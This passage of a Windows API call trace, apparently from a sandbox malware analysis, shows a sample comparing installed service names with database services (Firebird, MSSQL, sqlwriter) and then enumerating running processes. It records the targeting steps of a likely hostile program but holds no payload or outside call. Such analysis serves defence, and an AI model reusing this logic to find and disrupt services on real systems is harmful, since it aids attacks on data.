lpString2="DeviceAssociationService") returned 1 [0127.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0127.334] lstrlenW (lpString="Dhcp") returned 4 [0127.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0127.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0127.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0127.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0127.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0127.334] lstrlenW (lpString="Dnscache") returned 8 [0127.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0127.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0127.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0127.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0127.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0127.335] lstrlenW (lpString="DoSvc") returned 5 [0127.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0127.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0127.335] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0127.335] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0127.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0127.335] lstrlenW (lpString="DPS") returned 3 [0127.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0127.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0127.335] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0127.335] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0127.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0127.335] lstrlenW (lpString="DusmSvc") returned 7 [0127.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0127.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0127.335] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0127.335] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0127.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0127.335] lstrlenW (lpString="EventLog") returned 8 [0127.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0127.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0127.336] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0127.336] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0127.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0127.336] lstrlenW (lpString="EventSystem") returned 11 [0127.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0127.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0127.336] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0127.336] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0127.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0127.337] lstrlenW (lpString="FontCache") returned 9 [0127.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0127.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0127.337] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0127.337] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0127.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0127.337] lstrlenW (lpString="gpsvc") returned 5 [0127.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0127.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0127.337] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0127.337] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0127.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0127.338] lstrlenW (lpString="iphlpsvc") returned 8 [0127.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0127.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0127.338] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0127.338] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0127.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0127.338] lstrlenW (lpString="KeyIso") returned 6 [0127.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0127.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0127.338] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0127.338] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0127.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0127.338] lstrlenW (lpString="LanmanServer") returned 12 [0127.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0127.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0127.338] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0127.338] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0127.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0127.338] lstrlenW (lpString="LanmanWorkstation") returned 17 [0127.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0127.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0127.339] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0127.339] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0127.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0127.339] lstrlenW (lpString="lfsvc") returned 5 [0127.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0127.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0127.339] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0127.339] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0127.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0127.339] lstrlenW (lpString="lmhosts") returned 7 [0127.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0127.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0127.339] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0127.339] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0127.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0127.339] lstrlenW (lpString="LSM") returned 3 [0127.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0127.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0127.339] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0127.339] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0127.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0127.339] lstrlenW (lpString="MapsBroker") returned 10 [0127.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0127.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0127.340] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0127.340] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0127.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0127.340] lstrlenW (lpString="MpsSvc") returned 6 [0127.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0127.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0127.340] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0127.340] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0127.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0127.340] lstrlenW (lpString="NcbService") returned 10 [0127.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0127.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0127.340] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0127.340] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0127.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0127.340] lstrlenW (lpString="netprofm") returned 8 [0127.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0127.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0127.340] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0127.340] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0127.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0127.341] lstrlenW (lpString="NlaSvc") returned 6 [0127.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0127.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0127.341] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0127.341] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0127.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0127.341] lstrlenW (lpString="nsi") returned 3 [0127.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0127.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0127.341] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0127.341] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0127.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0127.341] lstrlenW (lpString="PcaSvc") returned 6 [0127.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0127.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0127.341] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0127.341] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0127.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0127.341] lstrlenW (lpString="PlugPlay") returned 8 [0127.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0127.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0127.341] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0127.341] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0127.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0127.341] lstrlenW (lpString="Power") returned 5 [0127.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0127.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0127.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0127.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0127.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0127.342] lstrlenW (lpString="ProfSvc") returned 7 [0127.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0127.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0127.342] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0127.342] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0127.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0127.342] lstrlenW (lpString="RpcEptMapper") returned 12 [0127.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.342] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0127.342] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0127.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0127.342] lstrlenW (lpString="RpcSs") returned 5 [0127.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0127.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0127.342] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0127.342] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0127.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0127.342] lstrlenW (lpString="SamSs") returned 5 [0127.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0127.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0127.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0127.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0127.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0127.343] lstrlenW (lpString="Schedule") returned 8 [0127.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0127.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0127.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0127.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0127.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0127.343] lstrlenW (lpString="SecurityHealthService") returned 21 [0127.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0127.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0127.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0127.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0127.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0127.343] lstrlenW (lpString="SENS") returned 4 [0127.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0127.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0127.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0127.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0127.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0127.344] lstrlenW (lpString="ShellHWDetection") returned 16 [0127.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.344] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0127.344] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0127.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0127.344] lstrlenW (lpString="Spooler") returned 7 [0127.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0127.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0127.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0127.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0127.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0127.344] lstrlenW (lpString="sppsvc") returned 6 [0127.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0127.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0127.344] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0127.344] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0127.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0127.344] lstrlenW (lpString="SSDPSRV") returned 7 [0127.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0127.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0127.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0127.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0127.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0127.345] lstrlenW (lpString="StateRepository") returned 15 [0127.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0127.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0127.345] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0127.345] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0127.345] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43a1500 | out: hHeap=0x5b0000) returned 1 [0127.345] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0127.356] Process32FirstW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.359] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0127.361] lstrlenW (lpString="System") returned 6 [0127.361] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0127.362] lstrlenW (lpString="smss.exe") returned 8 [0127.362] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.363] lstrlenW (lpString="csrss.exe") returned 9 [0127.363] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0127.365] lstrlenW (lpString="wininit.exe") returned 11 [0127.365] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.366] lstrlenW (lpString="csrss.exe") returned 9 [0127.366] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0127.367] lstrlenW (lpString="winlogon.exe") returned 12 [0127.367] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0127.369] lstrlenW (lpString="services.exe") returned 12 [0127.369] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0127.370] lstrlenW (lpString="lsass.exe") returned 9 [0127.370] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.371] lstrlenW (lpString="svchost.exe") returned 11 [0127.371] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0127.372] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0127.372] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0127.373] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0127.373] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.374] lstrlenW (lpString="svchost.exe") returned 11 [0127.374] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0127.376] lstrlenW (lpString="dwm.exe") returned 7 [0127.376] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.377] lstrlenW (lpString="svchost.exe") returned 11 [0127.377] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.378] lstrlenW (lpString="svchost.exe") returned 11 [0127.378] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.379] lstrlenW (lpString="svchost.exe") returned 11 [0127.379] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.380] lstrlenW (lpString="svchost.exe") returned 11 [0127.380] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.382] lstrlenW (lpString="svchost.exe") returned 11 [0127.382] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.383] lstrlenW (lpString="svchost.exe") returned 11 [0127.383] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.384] lstrlenW (lpString="svchost.exe") returned 11 [0127.384] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.385] lstrlenW (lpString="svchost.exe") returned 11 [0127.385] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.386] lstrlenW (lpString="svchost.exe") returned 11 [0127.386] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0127.387] lstrlenW (lpString="spoolsv.exe") returned 11 [0127.387] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 